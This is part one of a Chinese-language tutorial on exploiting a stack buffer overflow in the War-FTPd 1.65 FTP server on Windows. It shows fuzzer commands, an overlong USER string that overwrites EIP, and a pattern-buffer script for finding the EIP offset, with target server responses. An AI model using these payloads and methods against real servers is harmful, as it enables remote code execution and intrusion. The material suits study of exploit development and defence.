网络通信 频道

Win32 缓冲区溢出实战 上

一、前序
很多次被朋友邀请写篇关于在Win32下Exploit的文章。一来是因为此
类文章中关于*nix 平台比较多,而Win32相对较少;二来是因为在Win32
中写exploit有些地方可能困难一点。以下我将用一个具体的简单例子,详
分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择''War-FTPd
vl.65'' 的一个stack缓冲区溢出漏洞。
首先,需要准备以下实战工具:
python - www.python.org
pyOpenSSL - http://pyopenssl.sourceforge.net/
Ollydbg - http://home.t-online.de/Ollydbg/
OllyUni by FX of Phenoelit - http://www.phenoelit.de
War-Ftpd version 1.65 by jgaa - http://www.jgaa.com
Fuzzer vl .0 - http://hack3rs.org/~shadown/Twister/
( 译者注)因为pyOpenSSL可以找到针对python 2.2.x的win32编译版,所
以python安装2.2.x会比较方便。
二、挖掘漏洞
能够实时调试在漏洞挖掘过程中,是非常重要的,可以知道究竟发生
了什么。下面用Ollydbg打开要调试的程序''War-FTPd vl.65'':
?运行''Ollydbg''
?File->Open (or press F3) (图一)
?浏览到安装''War-FTPd vl.65'' 的目录然后选择
''war-ftpd.exe'' file (图二)
?Debug->Run (or press F9) (图三)
?在War-Ftp 窗口菜单中运行->''Start Service''(图四)
启动程序后,可能会有些explaination,按照提示(shift+F7/F8/F9)跳过
即可。不管程序是由Ollydbg(其他调试工具也一样) 启动(Open)的,还是
附加(attached)方式的,进程都将被调试器挂起,我们需要使程序继续运行。
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
图一



图三


图四


OK,现在War-FTPd已经运行了,接下来我们用fuzzer来帮助我们挖掘
软件漏洞:
C:\fuzzer>fuzzer.py
#####################################
# Net-Twister FuzzerModule #
# Coded by Sergio ''shadown'' Alvarez #
#####################################
Usage: C:\fuzzer\fuzzer.py
protocols available: smtp, ftp, pop3
我们选择FTP模式进行测试:
C:\fuzzer>fuzzer.py 192.168.178.129 21 ftp
看到以下显示信息:
<**> It was suppose to recv something, but recv nothing CHECKIT! <**>
或者还有如下信息:
<**> Bug found!!! ;))
<**> -> Sending: USER
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
让我们查看一下Ollydbg底部的状态栏,显示了''Access Violation
when executing [41414141]..''的信息,右上角窗口显示EIP的值为地址指向
41414141,如图五

 

这就意味着,FTP认证部分的USER命令上存在着缓冲区溢出,超长的
字符串覆盖了EIP。接下来我们将不停的尝试调试这个BUG,由于每次调
试都可能造成War-Ftpd进程死掉,你可以在中通过''Debug->Restart''来重启
进程。
三、调试漏洞
发现了软件漏洞,我们可以通过覆盖EIP来改变程序原有的运行流程,
跳转去运行我们安排的shellcode。为实现这个目的,必须知道两个要素,
多长的字符串可以覆盖到EIP,还有就是我们安排的shellcode放在了什么
地方。这跟LINUX中很相似,当然,我们也将看到一些Win32特有的部分。
正如上面所见,现在覆盖EIP的是41414141,究竟多少长的buffer可以
覆盖到内存中的EIP呢?我写了一个简单的脚本''reacheip.py'',可以生成都
是数字排列的buffer,并且可以通过修改参数来修改数字的排列和长度,
方便我们找到需要构建的buffer长度。
脚本简单原理如下,这里我们先假设寄存器大小是1byte:
a.首先生产如下数字串
123456789123456789123456789123456789123456789
b.然后我们看到某个数字覆盖了EIP(假设EIP大小是1byte),假设是
2,然后我们重新构建数字串,只改变原来数字2所在的位置,其
他位置数字忽略或不变。
c.现在某个数字又覆盖了EIP,假设是4,这样我们就可以计算出
buffer的真实长度,用于写exploit了。(译者注:因为只是简单说明
一下脚本的功能,所以这里作者并没有提及这个数字4是排列中第
几个4)
现实中X86机器中寄存器是4byte的,所以我们将上面的数字串扩展到4
个数字相同的排列。实际调试中又发现,有时候并不是刚好相同的4个数
字覆盖了EIP,比如是4445,所以我们在buffer的开头加入一个align字符,
比如A,将buffer挤动一位,这样覆盖EIP的数字串就是4444了。
有了''reacheip.py''脚本的构建buffer功能,还需要有发送和接收功能(网
络发送和接收),将''reacheip.py''作为一个''library'',重新组合一下得到新脚
本''reachwar-ftpd.py'',用来专门调试War-Ftpd:
简单解释一下这个脚本的参数:
C:\fuzzer>reach_war-ftpd.py
Usage: C:\fuzzer>reach_war-ftpd.py

host: 目标主机的地址
port: 目标主机的端口
align: 放在数字串之前的填充数据个数(1 - 3)
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
toreach: 在新数字串中需要被替换的数字(1-9)
repeat: 构建数字串的个数(指修改重建后的某段数字串)
cycles: 第几次替换(1-2)
firstreached: 前一次被替换的数字(1-9)
下面对War-Ftpd进行实战:
首先,最初的数字串为111122223333...类似,重复200次,总数字串个
数为4*200=800:
C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 0 0 200 1 0
220-Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 800
331 User name okay, Need password.
这个时候查看Ollydbg,如下图


看到信息显示信息''Access violation when executing [36353535]'',覆盖
EIP的是数字串是36353535,显然我们需要移动buffer中的数字串,使之覆
盖EIP的使数字串35353535。这里显示的HEX十六进制的数字,我们可以
从ASCII表中得到每个字母或者数字对应的HEX值,比如''1'' = 31, ''2'' = 32,
''3'' = 33, ''4'' = 34, ''5'' = 35,..., ''9'' = 39,如果在LINUX系统,可以直接输入命
令''man ascii''查看对应表。
调整后再测试,这个时候的数字串为A111122223333...:
C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 0 200 1 0
220-Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 801
331 User name okay, Need password.
这个时候查看Ollydbg,如下图

 

看到信息显示信息''Access violation when executing [35353535]'',看来
数字5是我们需要替换的了,替换之,即原来是5555的地方依次用1111,
2222,3333,...替换,其他位置的数字无关紧要会全部用A替换:
C:\fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 5 20 1 0
220-Jgaa''s Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 737
331 User name okay, Need password.
Check in Ollydbg!

这个时候查看Ollydbg,如下图

 

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345284999972.htm

0
相关文章